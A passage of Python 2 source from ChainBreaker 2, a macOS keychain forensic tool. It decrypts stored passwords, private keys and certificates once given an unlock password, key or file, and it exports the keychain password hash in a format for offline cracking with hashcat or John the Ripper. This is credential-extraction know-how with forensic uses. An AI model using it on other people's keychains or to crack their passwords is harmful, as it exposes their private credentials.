_find_wrapping_key(self, master): + # get cipher text area + ciphertext = self.kc_buffer[ + self.base_addr + self.dbblob.StartCryptoBlob:self.base_addr + self.dbblob.TotalLength] + + # decrypt the key + plain = Chainbreaker._kcdecrypt(master, self.dbblob.IV, ciphertext) + + if plain.__len__() < Chainbreaker.KEYLEN: + return '' + + dbkey = plain[:Chainbreaker.KEYLEN] + + # return encrypted wrapping key + return dbkey + + # Extract the Cyphertext, IV, and Salt for the keychain file, for use with offline cracking (e.g. Hashcat) + # Returns a KeychainPasswordHash object + def dump_keychain_password_hash(self): + cyphertext = hexlify( + self.kc_buffer[self.base_addr + self.dbblob.StartCryptoBlob:self.base_addr + self.dbblob.TotalLength]) + + iv = hexlify(self.dbblob.IV) + salt = hexlify(self.dbblob.Salt) + + return self.KeychainPasswordHash(salt, iv, cyphertext) + + # Given a base address and offset (ID) of a record, + def _get_appleshare_record(self, record_offset): + base_addr = self._get_base_address(CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD, record_offset) + + record_meta = _APPLE_SHARE_HEADER(self.kc_buffer[base_addr:base_addr + _APPLE_SHARE_HEADER.STRUCT.size]) + + buffer = self.kc_buffer[base_addr + _APPLE_SHARE_HEADER.STRUCT.size:base_addr + record_meta.RecordSize] + + ssgp, dbkey = self._extract_ssgp_and_dbkey(record_meta, buffer) + + return self.AppleshareRecord( + created=self._get_keychain_time(base_addr, record_meta.CreationDate & 0xFFFFFFFE), + last_modified=self._get_keychain_time(base_addr, record_meta.ModDate & 0xFFFFFFFE), + description=self._get_lv(base_addr, record_meta.Description & 0xFFFFFFFE), + comment=self._get_lv(base_addr, record_meta.Comment & 0xFFFFFFFE), + creator=self._get_four_char_code(base_addr, record_meta.Creator & 0xFFFFFFFE), + type=self._get_four_char_code(base_addr, record_meta.Type & 0xFFFFFFFE), + print_name=self._get_lv(base_addr, record_meta.PrintName & 0xFFFFFFFE), + alias=self._get_lv(base_addr, record_meta.Alias & 0xFFFFFFFE), + protected=self._get_lv(base_addr, record_meta.Protected & 0xFFFFFFFE), + account=self._get_lv(base_addr, record_meta.Account & 0xFFFFFFFE), + volume=self._get_lv(base_addr, record_meta.Volume & 0xFFFFFFFE), + server=self._get_lv(base_addr, record_meta.Server & 0xFFFFFFFE), + protocol_type=self._get_four_char_code(base_addr, record_meta.Protocol & 0xFFFFFFFE), + address=self._get_lv(base_addr, record_meta.Address & 0xFFFFFFFE), + signature=self._get_lv(base_addr, record_meta.Signature & 0xFFFFFFFE), + ssgp=ssgp, + dbkey=dbkey + ) + + def _get_private_key_record(self, record_offset): + record = self._get_key_record(self._get_table_offset(CSSM_DL_DB_RECORD_PRIVATE_KEY), record_offset) + + if not self.db_key: + keyname = privatekey = Chainbreaker.KEYCHAIN_LOCKED_SIGNATURE + else: + keyname, privatekey = self._private_key_decryption(record[10], record[9]) + return self.PrivateKeyRecord( + print_name=record[0], + label=record[1], + key_class=KEY_TYPE[record[2]], + private=record[3], + key_type=record[4], + key_size=record[5], + effective_key_size=record[6], + extracted=record[7], + cssm_type=record[8], + iv=record[9], + key=record[10], + key_name=keyname, + private_key=privatekey, + ) + + def _get_public_key_record(self, record_offset): + record = self._get_key_record(self._get_table_offset(CSSM_DL_DB_RECORD_PUBLIC_KEY), record_offset) + return self.PublicKeyRecord( + print_name=record[0], + label=record[1], + key_class=KEY_TYPE[record[2]], + private=record[3], + key_type=record[4], + key_size=record[5], + effective_key_size=record[6], + extracted=record[7], + cssm_type=record[8], + iv=record[9], + public_key=record[10], + ) + + def _get_key_record(self, table_name, record_offset): ## PUBLIC and PRIVATE KEY + base_addr = self._get_base_address(table_name, record_offset) + + record_meta = _SECKEY_HEADER(self.kc_buffer[base_addr:base_addr + _SECKEY_HEADER.STRUCT.size]) + + key_blob = self.kc_buffer[ + base_addr + _SECKEY_HEADER.STRUCT.size:base_addr + _SECKEY_HEADER.STRUCT.size + record_meta.BlobSize] + + iv, key = Chainbreaker._get_encrypted_data_in_blob(key_blob) + + return [self._get_lv(base_addr, record_meta.PrintName & 0xFFFFFFFE), + self._get_lv(base_addr, record_meta.Label & 0xFFFFFFFE), + self._get_int(base_addr, record_meta.KeyClass & 0xFFFFFFFE), + self._get_int(base_addr, record_meta.Private & 0xFFFFFFFE), + CSSM_ALGORITHMS[self._get_int(base_addr, record_meta.KeyType & 0xFFFFFFFE)], + self._get_int(base_addr, record_meta.KeySizeInBits & 0xFFFFFFFE), + self._get_int(base_addr, record_meta.EffectiveKeySize & 0xFFFFFFFE), + self._get_int(base_addr, record_meta.Extractable & 0xFFFFFFFE), + STD_APPLE_ADDIN_MODULE[ + str(self._get_lv(base_addr, record_meta.KeyCreator & 0xFFFFFFFE)).split('\x00')[0]], + iv, + key] + + def _get_x_509_record(self, record_offset): + base_addr = self._get_base_address(CSSM_DL_DB_RECORD_X509_CERTIFICATE, record_offset) + + record_meta = _X509_CERT_HEADER(self.kc_buffer[base_addr:base_addr + _X509_CERT_HEADER.STRUCT.size]) + + return self.X509CertificateRecord( + type=self._get_int(base_addr, record_meta.CertType & 0xFFFFFFFE), + encoding=self._get_int(base_addr, record_meta.CertEncoding & 0xFFFFFFFE), + print_name=self._get_lv(base_addr, record_meta.PrintName & 0xFFFFFFFE), + alias=self._get_lv(base_addr, record_meta.Alias & 0xFFFFFFFE), + subject=self._get_lv(base_addr, record_meta.Subject & 0xFFFFFFFE), + issuer=self._get_lv(base_addr, record_meta.Issuer & 0xFFFFFFFE), + serial_number=self._get_lv(base_addr, record_meta.SerialNumber & 0xFFFFFFFE), + subject_key_identifier=self._get_lv(base_addr, record_meta.SubjectKeyIdentifier & 0xFFFFFFFE), + public_key_hash=self._get_lv(base_addr, record_meta.PublicKeyHash & 0xFFFFFFFE), + certificate=self.kc_buffer[ + base_addr + _X509_CERT_HEADER.STRUCT.size:base_addr + _X509_CERT_HEADER.STRUCT.size + record_meta.CertSize] + ) + + def _extract_ssgp_and_dbkey(self, record_meta, buffer): + ssgp = None + dbkey = None + + if record_meta.SSGPArea != 0: + ssgp = _SSGP(buffer[:record_meta.SSGPArea]) + dbkey_index = ssgp.Magic + ssgp.Label + + if dbkey_index in self.key_list: + dbkey = self.key_list[dbkey_index] + + return ssgp, dbkey + + def _get_internet_password_record(self, record_offset): + base_addr = self._get_base_address(CSSM_DL_DB_RECORD_INTERNET_PASSWORD, record_offset) + record_meta = _INTERNET_PW_HEADER(self.kc_buffer[base_addr:base_addr + _INTERNET_PW_HEADER.STRUCT.size]) + + buffer = self.kc_buffer[base_addr + _INTERNET_PW_HEADER.STRUCT.size:base_addr + record_meta.RecordSize] + + ssgp, dbkey = self._extract_ssgp_and_dbkey(record_meta, buffer) + + return self.InternetPasswordRecord( + created=self._get_keychain_time(base_addr, record_meta.CreationDate & 0xFFFFFFFE), + last_modified=self._get_keychain_time(base_addr, record_meta.ModDate & 0xFFFFFFFE), + description=self._get_lv(base_addr, record_meta.Description & 0xFFFFFFFE), + comment=self._get_lv(base_addr, record_meta.Comment & 0xFFFFFFFE), + creator=self._get_four_char_code(base_addr, record_meta.Creator & 0xFFFFFFFE), + type=self._get_four_char_code(base_addr, record_meta.Type & 0xFFFFFFFE), + print_name=self._get_lv(base_addr, record_meta.PrintName & 0xFFFFFFFE), + alias=self._get_lv(base_addr, record_meta.Alias & 0xFFFFFFFE), + protected=self._get_lv(base_addr, record_meta.Protected & 0xFFFFFFFE), + account=self._get_lv(base_addr, record_meta.Account & 0xFFFFFFFE), + security_domain=self._get_lv(base_addr, record_meta.SecurityDomain & 0xFFFFFFFE), + server=self._get_lv(base_addr, record_meta.Server & 0xFFFFFFFE), + protocol_type=self._get_four_char_code(base_addr, record_meta.Protocol & 0xFFFFFFFE), + auth_type=self._get_lv(base_addr, record_meta.AuthType & 0xFFFFFFFE), + port=self._get_int(base_addr, record_meta.Port & 0xFFFFFFFE), + path=self._get_lv(base_addr, record_meta.Path & 0xFFFFFFFE), + ssgp=ssgp, + dbkey=dbkey + ) + + def _get_generic_password_record(self, record_offset): + base_addr = self._get_base_address(CSSM_DL_DB_RECORD_GENERIC_PASSWORD, record_offset) + + record_meta = _GENERIC_PW_HEADER(self.kc_buffer[base_addr:base_addr + _GENERIC_PW_HEADER.STRUCT.size]) + + buffer = self.kc_buffer[ + base_addr + _GENERIC_PW_HEADER.STRUCT.size:base_addr + record_meta.RecordSize] + + ssgp, dbkey = self._extract_ssgp_and_dbkey(record_meta, buffer) + + return self.GenericPasswordRecord( + created=self._get_keychain_time(base_addr, record_meta.CreationDate & 0xFFFFFFFE), + last_modified=self._get_keychain_time(base_addr, record_meta.ModDate & 0xFFFFFFFE), + description=self._get_lv(base_addr, record_meta.Description & 0xFFFFFFFE), + creator=self._get_four_char_code(base_addr, record_meta.Creator & 0xFFFFFFFE), + type=self._get_four_char_code(base_addr, record_meta.Type & 0xFFFFFFFE), + print_name=self._get_lv(base_addr, record_meta.PrintName & 0xFFFFFFFE), + alias=self._get_lv(base_addr, record_meta.Alias & 0xFFFFFFFE), + account=self._get_lv(base_addr, record_meta.Account & 0xFFFFFFFE), + service=self._get_lv(base_addr, record_meta.Service & 0xFFFFFFFE), + ssgp=ssgp, + dbkey=dbkey) + + return record + + def _get_base_address(self, table_name, offset=None): + if table_name == 23972: + table_name = 16 + if table_name == 30912: + table_name = 16 + base_address = _APPL_DB_HEADER.STRUCT.size + self._get_table_offset(table_name) + if offset: + base_address += offset + + return base_address + + @property + def filepath(self): + return self._filepath + + @filepath.setter + def filepath(self, value): + self._filepath = value + if self._filepath: + self._read_keychain_to_buffer() + + @property + def unlock_password(self): + return self._unlock_password + + @unlock_password.setter + def unlock_password(self, unlock_password): + self._unlock_password = unlock_password + + if self._unlock_password: + master_key = self._generate_master_key(self._unlock_password) + self.db_key = self._find_wrapping_key(master_key) + + @property + def unlock_key(self): + return self._unlock_key + + @unlock_key.setter + def unlock_key(self, unlock_key): + self._unlock_key = unlock_key + + if self._unlock_key: + self.db_key = self._find_wrapping_key(unhexlify(self._unlock_key)) + + @property + def unlock_file(self): + return self._unlock_file + + @unlock_file.setter + def unlock_file(self, filepath): + self._unlock_file = filepath + + if self._unlock_file: + try: + with open(self._unlock_file, mode='rb') as uf: + file_content = uf.read() + + unlock_key_blob = _UNLOCK_BLOB(file_content) + self.db_key = self._find_wrapping_key(unlock_key_blob.MasterKey) + except OSError: + logger.warning("Unable to read unlock file: %s" % self._unlock_file) + + @property + def db_key(self): + return self._db_key + + @db_key.setter + def db_key(self, key): + self._db_key = key + + if self._db_key: + # Even after finding a db_key, we need to try and load the key list. + # If we don't find any keys, but we do find a db_key, then we've likely + # found a hash collision + if self._generate_key_list() > 0: + self.locked = False + + # SOURCE : extractkeychain.py + @staticmethod + def _kcdecrypt(key, iv, data): + logger = logging.getLogger('Chainbreaker') + if len(data) == 0: + logger.debug("Encrypted data is 0.") + return '' + + if len(data) % Chainbreaker.BLOCKSIZE != 0: + return '' + + cipher = TripleDES(key, CBC, str(bytearray(iv))) + + plain = cipher.decrypt(data) + + # now check padding + pad = ord(plain[-1]) + if pad > 8: + logger.debug("Bad padding byte. Keychain password might be incorrect.") + return '' + + for z in plain[-pad:]: + if ord(z) != pad: + logger.debug("Bad padding byte. Keychain password might be incorrect.") + return '' + + plain = plain[:-pad] + + return plain + + @staticmethod + def _get_encrypted_data_in_blob(blob_buffer): + key_blob = _KEY_BLOB(blob_buffer[:_KEY_BLOB.STRUCT.size]) + + if key_blob.CommonBlob.Magic != _KEY_BLOB.COMMON_BLOB_MAGIC: + return '', '' + + key_data = blob_buffer[key_blob.StartCryptoBlob:key_blob.TotalLength] + return key_blob.IV, key_data # IV, Encrypted Data + + # ## decrypted dbblob area + # ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT + # ## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp + # def _ssgp_decryption(self, ssgp, dbkey): + # return Chainbreaker._kcdecrypt(dbkey, _SSGP(ssgp).IV, ssgp[_SSGP.STRUCT.size:]) + + # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT + # source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp + # magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp + @staticmethod + def keyblob_decryption(encryptedblob, iv, dbkey): + logger = logging.getLogger('Chainbreaker') + + # magicCmsIV = unhexlify('4adda22c79e82105') + plain = Chainbreaker._kcdecrypt(dbkey, Chainbreaker.MAGIC_CMS_IV, encryptedblob) + + if plain.__len__() == 0: + return '' + + # now we handle the unwrapping. we need to take the first 32 bytes, + # and reverse them. + revplain = '' + for i in range(32): + revplain += plain[31 - i] + + # now the real key gets found. */ + plain = Chainbreaker._kcdecrypt(dbkey, iv, revplain) + + keyblob = plain[4:] + + if len(keyblob) != Chainbreaker.KEYLEN: + logger.debug("Decrypted key length is not valid") + return '' + + return keyblob + + class KeychainRecord(object): + def __init__(self): + self.logger = logging.getLogger('Chainbreaker') + + def write_to_disk(self, output_directory): + # self.exportable contains the content we should write to disk. If it isn't implemented we can't + # then writing to disk via this method isn't currently supported. + try: + export_content = self.exportable + except NotImplementedError: + self.logger.warning('Attempted to export a non-exportable record.') + return False + + # Create out export directory if it doesn't exist. + if not os.path.exists(output_directory): + try: + os.makedirs(output_directory) + except OSError: + self.logger.critical('Unable to create export directory: %s' % output_directory) + + # Generate our filepath, making sure the file doesn't already exist. If it does, + # add a number, e.g. PrivateKey.1.key + file_name = self.FileName + self.FileExt + iteration = 1 + while os.path.exists(os.path.join(output_directory, file_name)): + file_name = "%s.%s%s" % (self.FileName, iteration, self.FileExt) + iteration += 1 + + file_path = os.path.join(output_directory, file_name) + + # Finish exporting the record. + try: + with open(file_path, 'wb') as fp: + self.logger.info('\t [-] Exported: %s' % file_path) + fp.write(export_content) + return True + except OSError, e: + self.logger.critical('Exception while attempting to export %s: %s' % (file_path, e)) + + @property + def FileName(self): + return str(uuid.uuid4()) + + @property + def FileExt(self): + return '.txt' + + class KeychainPasswordHash(KeychainRecord): + KEYCHAIN_PASSWORD_HASH_FORMAT = "$keychain$*%s*%s*%s" + + def __init__(self, salt, iv, cyphertext): + self.salt = salt + self.iv = iv + self.cypher_text = cyphertext + + Chainbreaker.KeychainRecord.__init__(self) + + def __str__(self): + return Chainbreaker.KeychainPasswordHash.KEYCHAIN_PASSWORD_HASH_FORMAT % ( + self.salt, self.iv, self.cypher_text) + + @property + def exportable(self): + return self.__str__() + + @property + def FileName(self): + return "keychain_password_hash" + + class PublicKeyRecord(KeychainRecord): + def __init__(self, print_name=None, label=None, key_class=None, private=None, key_type=None, key_size=None, + effective_key_size=None, extracted=None, cssm_type=None, public_key=None, iv=None, key=None): + self.PrintName = print_name + self.Label = label + self.KeyClass = key_class + self.Private = private + self.KeyType = key_type + self.KeySize = key_size + self.EffectiveKeySize = effective_key_size + self.Extracted = extracted + self.CSSMType = cssm_type + self.PublicKey = public_key + self.IV = iv + self.Key = key + + Chainbreaker.KeychainRecord.__init__(self) + + def __str__(self): + output = '[+] Public Key\n' + output += ' [-] Print Name: %s\n' % self.PrintName + # output += ' [-] Label: %s\n' % self.Label + output += ' [-] Key Class: %s\n' % self.KeyClass + output += ' [-] Private: %s\n' % self.Private + output += ' [-] Key Type: %s\n' % self.KeyType + output += ' [-] Key Size: %s\n' % self.KeySize + output += ' [-] Effective Key Size: %s\n' % self.EffectiveKeySize + output += ' [-] Extracted: %s\n' % self.Extracted + output += ' [-] CSSM Type: %s\n' % self.CSSMType + output += ' [-] Base64 Encoded Public Key: %s\n' % base64.b64encode(self.PublicKey) + return output + + @property + def exportable(self): + return self.PublicKey + + @property + def FileName(self): + return "".join(x for x in self.PrintName if x.isalnum()) + + @property + def FileExt(self): + return '.pub' + + class PrivateKeyRecord(KeychainRecord): + def __init__(self, print_name=None, label=None, key_class=None, private=None, key_type=None, key_size=None, + effective_key_size=None, extracted=None, cssm_type=None, key_name=None, private_key=None, iv=None, + key=None): + self.PrintName = print_name + self.Label = label + self.KeyClass = key_class + self.Private = private + self.KeyType = key_type + self.KeySize = key_size + self.EffectiveKeySize = effective_key_size + self.Extracted = extracted + self.CSSMType = cssm_type + self.KeyName = key_name + self.PrivateKey = private_key + self.IV = iv + self.Key = key + + Chainbreaker.KeychainRecord.__init__(self) + + def __str__(self): + output = '[+] Private Key\n' + output += ' [-] Print Name: %s\n' % self.PrintName + # output += ' [-] Label: %s\n' % self.Label + output += ' [-] Key Class: %s\n' % self.KeyClass + # output += ' [-] Private: %s\n' % self.Private + output += ' [-] Key Type: %s\n' % self.KeyType + output += ' [-] Key Size: %s\n' % self.KeySize + output += ' [-] Effective Key Size: %s\n' % self.EffectiveKeySize + # output += ' [-] Extracted: %s\n' % self.Extracted + output += ' [-] CSSM Type: %s\n' % self.CSSMType + # output += ' [-] KeyName: %s\n' % self.KeyName + + output += ' [-] Base64 Encoded PrivateKey: ' + if self.PrivateKey == Chainbreaker.KEYCHAIN_LOCKED_SIGNATURE: + output += "%s\n" % Chainbreaker.KEYCHAIN_LOCKED_SIGNATURE + else: + output += "%s\n" % base64.b64encode(self.PrivateKey) + + return output + + @property + def exportable(self): + return self.PrivateKey + + @property + def FileName(self): + return "".join(x for x in self.PrintName if x.isalnum()) + + @property + def FileExt(self): + return '.key' + + class X509CertificateRecord(KeychainRecord): + def __init__(self, type=None, encoding=None, print_name=None, alias=None, subject=None, issuer=None, + serial_number=None, subject_key_identifier=None, public_key_hash=None, certificate=None): + self.Type = type + self.Encoding = encoding + self.PrintName = print_name + self.Alias = alias + self.Subject = subject + self.Issuer = issuer + self.Serial_Number = serial_number + self.Subject_Key_Identifier = subject_key_identifier + self.Public_Key_Hash = public_key_hash + self.Certificate = certificate + + Chainbreaker.KeychainRecord.__init__(self) + + def __str__(self): + output = '[+] X509 Certificate\n' + # output += " [-] Type: %s\n" % self.Type + # output += " [-] Encoding: %s\n" % self.Encoding + output += " [-] Print Name: %s\n" % self.PrintName + # output += " [-] Alias: %s\n" % self.Alias + # output += " [-] Subject: %s\n" % self.Subject + # output += " [-] Issuer: %s\n" % self.Issuer + # output += " [-] Serial Number: %s\n" % self.Serial_Number + # output += " [-] Subject Key Identifier: %s\n" % self.Subject_Key_Identifier + # output += " [-] Public Key Hash: %s\n" % self.Public_Key_Hash + output += " [-] Certificate: %s\n" % base64.b64encode(self.Certificate) + return output + + @property + def exportable(self): + return self.Certificate + + @property + def FileName(self): + return "".join(x for x in self.PrintName if x.isalnum()) + + @property + def FileExt(self): + return '.crt' + + class SSGBEncryptedRecord(KeychainRecord): + def __init__(self): + self._password = None + self.locked = True + self.password_b64_encoded = False + + Chainbreaker.KeychainRecord.__init__(self) + + def decrypt_password(self): + try: + if self.SSGP and self.DBKey: + self._password = Chainbreaker._kcdecrypt(self.DBKey, self.SSGP.IV, self.SSGP.EncryptedPassword) + if not all(c in string.printable for c in self._password): + self._password = base64.b64encode(self._password) + self.password_b64_encoded = True + self.locked = False + except KeyError: + if not self._password: + self.locked = True + self._password = None + return self._password + + def get_password_output_str(self): + password = self.Password + if self.password_b64_encoded: + return ' [-] Base64 Encoded Password: {}\n'.format(password) + else: + return ' [-] Password: {}\n'.format(password) + + @property + def Password(self): + if not self._password: + self.decrypt_password() + if self.locked: + self._password = Chainbreaker.KEYCHAIN_LOCKED_SIGNATURE + + return self._password + + @property + def exportable(self): + return self.__str__() + + @property + def FileName(self): + return "".join(x for x in self.PrintName if x.isalnum()) + + @property + def FileExt(self): + return '.txt' + + class GenericPasswordRecord(SSGBEncryptedRecord): + def __init__(self, created=None, last_modified=None, description=None, creator=None, type=None, print_name=None, + alias=None, account=None, service=None, key=None, ssgp=None, dbkey=None): + self.Created = created + self.LastModified = last_modified + self.Description = description + self.Creator = creator + self.Type = type + self.PrintName = print_name + self.Alias = alias + self.Account = account + self.Service = service + self.Key = key + self.SSGP = ssgp + self.DBKey = dbkey + + Chainbreaker.SSGBEncryptedRecord.__init__(self) + + def __str__(self): + output = '[+] Generic Password Record\n' + output += ' [-] Create DateTime: %s\n' % self.Created # 16byte string + output += ' [-] Last Modified DateTime: %s\n' % self.LastModified # 16byte string + output += ' [-] Description: %s\n' % self.Description + output += ' [-] Creator: %s\n' % self.Creator + output += ' [-] Type: %s\n' % self.Type + output += ' [-] Print Name: %s\n' % self.PrintName + output += ' [-] Alias: %s\n' % self.Alias + output += ' [-] Account: %s\n' % self.Account + output += ' [-] Service: %s\n' % self.Service + output += self.get_password_output_str() + + return output + + class InternetPasswordRecord(SSGBEncryptedRecord): + def __init__(self, created=None, last_modified=None, description=None, comment=None, creator=None, type=None, + print_name=None, alias=None, protected=None, account=None, security_domain=None, server=None, + protocol_type=None, auth_type=None, port=None, path=None, ssgp=None, dbkey=None): + + self.Created = created + self.LastModified = last_modified + self.Description = description + self.Comment = comment + self.Creator = creator + self.Type = type + self.PrintName = print_name + self.Alias = alias + self.Protected = protected + self.Account = account + self.SecurityDomain = security_domain + self.Server = server + self.ProtocolType = protocol_type + self.AuthType = auth_type + self.Port = port + self.Path = path + self.SSGP = ssgp + self.DBKey = dbkey + + Chainbreaker.SSGBEncryptedRecord.__init__(self) + + def __str__(self): + output = '[+] Internet Record\n' + output += ' [-] Create DateTime: %s\n' % self.Created + output += ' [-] Last Modified DateTime: %s\n' % self.LastModified + output += ' [-] Description: %s\n' % self.Description + output += ' [-] Comment: %s\n' % self.Comment + output += ' [-] Creator: %s\n' % self.Creator + output += ' [-] Type: %s\n' % self.Type + output += ' [-] PrintName: %s\n' % self.PrintName + output += ' [-] Alias: %s\n' % self.Alias + output += ' [-] Protected: %s\n' % self.Protected + output += ' [-] Account: %s\n' % self.Account + output += ' [-] SecurityDomain: %s\n' % self.SecurityDomain + output += ' [-] Server: %s\n' % self.Server + + try: + output += ' [-] Protocol Type: %s\n' % PROTOCOL_TYPE[self.ProtocolType] + except KeyError: + output += ' [-] Protocol Type: %s\n' % self.ProtocolType + + try: + output += ' [-] Auth Type: %s\n' % AUTH_TYPE[self.AuthType] + except KeyError: + output += ' [-] Auth Type: %s\n' % self.AuthType + + output += ' [-] Port: %d\n' % self.Port + output += ' [-] Path: %s\n' % self.Path + output += self.get_password_output_str() + + return output + + class AppleshareRecord(SSGBEncryptedRecord): + def __init__(self, created=None, last_modified=None, description=None, comment=None, creator=None, type=None, + print_name=None, alias=None, protected=None, account=None, volume=None, server=None, + protocol_type=None, address=None, signature=None, dbkey=None, ssgp=None): + self.Created = created + self.LastModified = last_modified + self.Description = description + self.Comment = comment + self.Creator = creator + self.Type = type + self.PrintName = print_name + self.Alias = alias + self.Protected = protected + self.Account = account + self.Volume = volume + self.Server = server + self.Protocol_Type = protocol_type + self.Address = address + self.Signature = signature + self.SSGP = ssgp + self.DBKey = dbkey + + Chainbreaker.SSGBEncryptedRecord.__init__(self) + + def __str__(self): + output = '[+] AppleShare Record (no longer used in OS X)\n' + output += ' [-] Create DateTime: %s\n' % self.Created + output += ' [-] Last Modified DateTime: %s\n' % self.LastModified + output += ' [-] Description: %s\n' % self.Description + output += ' [-] Comment: %s\n' % self.Comment + output += ' [-] Creator: %s\n' % self.Creator + output += ' [-] Type: %s\n' % self.Type + output += ' [-] PrintName: %s\n' % self.PrintName + output += ' [-] Alias: %s\n' % self.Alias + output += ' [-] Protected: %s\n' % self.Protected + output += ' [-] Account: %s\n' % self.Account + output += ' [-] Volume: %s\n' % self.Volume + output += ' [-] Server: %s\n' % self.Server + + try: + output += ' [-] Protocol Type: %s\n' % PROTOCOL_TYPE[self.Protocol_Type] + except KeyError: + output += ' [-] Protocol Type: %s\n' % self.Protocol_Type + + output += ' [-] Address: %d\n' % self.Address + output += ' [-] Signature: %s\n' % self.Signature + output += self.get_password_output_str() + + return output + + +if __name__ == "__main__": + import argparse + import getpass + import sys + import os + import datetime + import hashlib + + arguments = argparse.ArgumentParser(description='Dump items stored in an OSX Keychain') + + # General Arguments + arguments.add_argument('keychain', help='Location of the keychain file to parse') + + # Available actions + dump_actions = arguments.add_argument_group('Dump Actions') + dump_actions.add_argument('--dump-all', '-a', help='Dump records to the console window.', + action='store_const', dest='dump_all', const=True) + dump_actions.add_argument('--dump-keychain-password-hash', + help='Dump the keychain password hash in a format suitable for hashcat or John The Ripper', + action='store_const', dest='dump_keychain_password_hash', const=True) + dump_actions.add_argument('--dump-generic-passwords', help='Dump all generic passwords', + action='store_const', dest='dump_generic_passwords', const=True) + dump_actions.add_argument('--dump-internet-passwords', help='Dump all internet passwords', + action='store_const', dest='dump_internet_passwords', const=True) + dump_actions.add_argument('--dump-appleshare-passwords', help='Dump all appleshare passwords', + action='store_const', dest='dump_appleshare_passwords', const=True) + dump_actions.add_argument('--dump-private-keys', help='Dump all private keys', + action='store_const', dest='dump_private_keys', const=True) + dump_actions.add_argument('--dump-public-keys', help='Dump all public keys', + action='store_const', dest='dump_public_keys', const=True) + dump_actions.add_argument('--dump-x509-certificates', help='Dump all X509 certificates', + action='store_const', dest='dump_x509_certificates', const=True) + + # Export private keys, public keys, or x509 certificates to disk. + export_actions = arguments.add_argument_group('Export Actions', + description='Export records to files. Save location ' + 'is CWD, but can be overridden with --output / -o') + + export_actions.add_argument('--export-keychain-password-hash', help='Save the keychain password hash to disk', + action='store_const', dest='export_keychain_password_hash', const=True) + export_actions.add_argument('--export-generic-passwords', help='Save all generic passwords to disk', + action='store_const', dest='export_generic_passwords', const=True) + export_actions.add_argument('--export-internet-passwords', help='Save all internet passwords to disk', + action='store_const', dest='export_internet_passwords', const=True) + export_actions.add_argument('--export-appleshare-passwords', help='Save all appleshare passwords to disk', + action='store_const', dest='export_appleshare_passwords', const=True) + export_actions.add_argument('--export-private-keys', help='Save private keys to disk', + action='store_const', dest='export_private_keys', const=True) + export_actions.add_argument('--export-public-keys', help='Save public keys to disk', + action='store_const', dest='export_public_keys', const=True) + export_actions.add_argument('--export-x509-certificates', help='Save X509 certificates to disk', + action='store_const', dest='export_x509_certificates', const=True) + export_actions.add_argument('--export-all', '-e', + help='Save records to disk', + action='store_const', dest='export_all', const=True) + + misc_actions = arguments.add_argument_group('Misc. Actions') + + misc_actions.add_argument('--check-unlock-options', '-c', + help='Only check to see if the provided unlock options work.' + ' Exits 0 on success, 1 on failure.', + action='store_const', dest='check_unlock', const=True) + + # Keychain Unlocking Arguments + unlock_args = arguments.add_argument_group('Unlock Options') + unlock_args.add_argument('--password-prompt', '-p', help='Prompt for a password to use in unlocking the keychain', + action='store_const', dest='password_prompt', const=True) + unlock_args.add_argument('--password', help='Unlock the keychain with a password, provided on the terminal.' + 'Caution: This is insecure and you should likely use' + '--password-prompt instead') + unlock_args.add_argument('--key-prompt', '-k', help='Prompt for a key to use in unlocking the keychain', + action='store_const', dest='key_prompt', const=True) + unlock_args.add_argument('--key', help='Unlock the keychain with a key, provided via argument.' + 'Caution: This is insecure and you should likely use --key-prompt instead') + unlock_args.add_argument('--unlock-file', help='Unlock the keychain with a key file') + + # Output arguments + output_args = arguments.add_argument_group('Output Options') + output_args.add_argument('--output', '-o', help='Directory to output exported records to.') + output_args.add_argument('-d', '--debug', help="Print debug information", action="store_const", dest="loglevel", + const=logging.DEBUG) + + arguments.set_defaults( + loglevel=logging.INFO, + dump_all=False, + dump_keychain_password_hash=False, + dump_generic_passwords=False, + dump_internet_passwords=False, + dump_appleshare_passwords=False, + dump_private_keys=False, + dump_public_keys=False, + dump_x509_certificates=False, + export_keychain_password_hash=False, + export_generic_passwords=False, + export_internet_passwords=False, + export_appleshare_passwords=False, + export_private_keys=False, + export_public_keys=False, + export_x509_certificates=False, + export_all=False, + check_unlock=False, + password_prompt=False, + key_prompt=False, + password=None, + key=None, + unlock_file=None, + ) + + args = arguments.parse_args() + + if args.password_prompt: + args.password = getpass.getpass('Unlock Password: ') + + if args.key_prompt: + args.key = getpass.getpass('Unlock Key: ') + + # create logger + logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', + level=args.loglevel, + stream=sys.stdout) + + logger = logging.getLogger('Chainbreaker') + + if args.output: + if not os.path.exists(args.output): + try: + os.makedirs(args.output) + except OSError as e: + logger.critical("Unable to create output directory: %s" % args.output) + exit(1) + logger.addHandler(logging.FileHandler(os.path.join(args.output, 'output.log'), mode='w')) + else: + args.output = os.getcwd() + + # If dump-all or export-all is set, set the individual args + if args.dump_all: + args.dump_keychain_password_hash = args.dump_generic_passwords = args.dump_internet_passwords = \ + args.dump_appleshare_passwords = args.dump_public_keys = args.dump_private_keys = \ + args.dump_x509_certificates = True + + if args.export_all: + args.export_keychain_password_hash = args.export_generic_passwords = args.export_internet_passwords = \ + args.export_appleshare_passwords = args.export_public_keys = args.export_private_keys = \ + args.export_x509_certificates = True + + # Make sure we're actually doing something, exit if we're not. + if not (args.dump_keychain_password_hash or args.dump_generic_passwords or args.dump_internet_passwords \ + or args.dump_appleshare_passwords or args.dump_public_keys or args.dump_private_keys or \ + args.dump_x509_certificates or args.export_keychain_password_hash or \ + args.export_generic_passwords or args.export_internet_passwords \ + or args.export_appleshare_passwords or args.export_private_keys or args.export_public_keys or \ + args.export_x509_certificates or args.dump_all or args.export_all or args.check_unlock): + logger.critical("No action specified.") + exit(1) + + # Calculate the MD5 and SHA256 of the input keychain file. + keychain_md5 = hashlib.md5(args.keychain).hexdigest() + keychain_sha256 = hashlib.sha256(args.keychain).hexdigest() + + # Print out some summary info before we actually start doing any work. + summary_output = [ + "\n\nChainBreaker 2 - https://github.com/gaddie-3/chainbreaker\n", + "Runtime Command: %s" % ' '.join(sys.argv), + "Keychain: %s" % args.keychain, + "Keychain MD5: %s" % keychain_md5, + 